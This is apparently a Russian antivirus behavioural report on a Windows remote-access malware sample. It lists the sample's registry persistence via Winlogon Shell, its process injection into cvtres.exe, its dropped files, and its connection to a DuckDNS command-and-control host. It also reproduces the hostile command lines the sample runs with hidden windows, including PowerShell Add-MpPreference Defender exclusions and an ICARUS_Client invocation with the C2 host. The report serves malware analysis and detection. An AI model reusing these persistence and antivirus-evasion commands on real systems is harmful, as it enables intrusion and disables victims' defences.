Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, %TEMP%\xpaqapxczascmldwm\jhrlsoyvgquphhgoq.exe'
Вредоносные функции
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe
Завершает или пытается завершить
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\kkuiprjz.0.cs
- %TEMP%\kkuiprjz.cmdline
- %TEMP%\kkuiprjz.out
- %TEMP%\csc94a6f5b3273d4c0ea3f278b56a28b9b6.tmp
- %TEMP%\resbe6e.tmp
- %TEMP%\msbuilds.exe
- %TEMP%\xpaqapxczascmldwm\jhrlsoyvgquphhgoq.exe
Удаляет следующие файлы
- %TEMP%\resbe6e.tmp
- %TEMP%\csc94a6f5b3273d4c0ea3f278b56a28b9b6.tmp
- %TEMP%\kkuiprjz.out
- %TEMP%\kkuiprjz.cmdline
- %TEMP%\kkuiprjz.0.cs
Сетевая активность
Подключается к
- 'sm#####y.duckdns.org':22303
UDP
- DNS ASK sm#####y.duckdns.org
Другое
Ищет следующие окна
- ClassName: 'Progman' WindowName: ''
- ClassName: 'Proxy Desktop' WindowName: ''
- ClassName: 'SystemTray_Main' WindowName: ''
- ClassName: 'Media Center Tray Applet' WindowName: ''
- ClassName: '' WindowName: 'View Available Networks'
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: 'BluetoothNotificationAreaIconWindowClass'
- ClassName: 'BluetoothNotificationAreaIconWindowClass' WindowName: ''
Создает и запускает на исполнение
- '%TEMP%\msbuilds.exe'
- '%WINDIR%\microsoft.net\framework\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\kkuiprjz.cmdline"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBE6E.tmp" "%TEMP%\CSC94A6F5B3273D4C0EA3F278B56A28B9B6.TMP"' (со скрытым окном)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' ICARUS_Client smartway.duckdns.org 22303 IHPxujaWMrisedmiumaohs' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b %TEMP%\MSBuilds.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %WINDIR%\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit' (со скрытым окном)
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit' (со скрытым окном)
Запускает на исполнение
- '%WINDIR%\microsoft.net\framework\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\kkuiprjz.cmdline"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESBE6E.tmp" "%TEMP%\CSC94A6F5B3273D4C0EA3F278B56A28B9B6.TMP"
- '%WINDIR%\explorer.exe'
- '%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' ICARUS_Client smartway.duckdns.org 22303 IHPxujaWMrisedmiumaohs
- '%WINDIR%\syswow64\cmd.exe' /k start /b %TEMP%\MSBuilds.exe & exit
- '<SYSTEM32>\ctfmon.exe'
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %WINDIR%\Microsoft.NET\Framework\v4.0.30319\cvtres.exe & exit
- '%WINDIR%\syswow64\cmd.exe' /k start /b powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe & exit
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath %WINDIR%\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath cvtres.exe
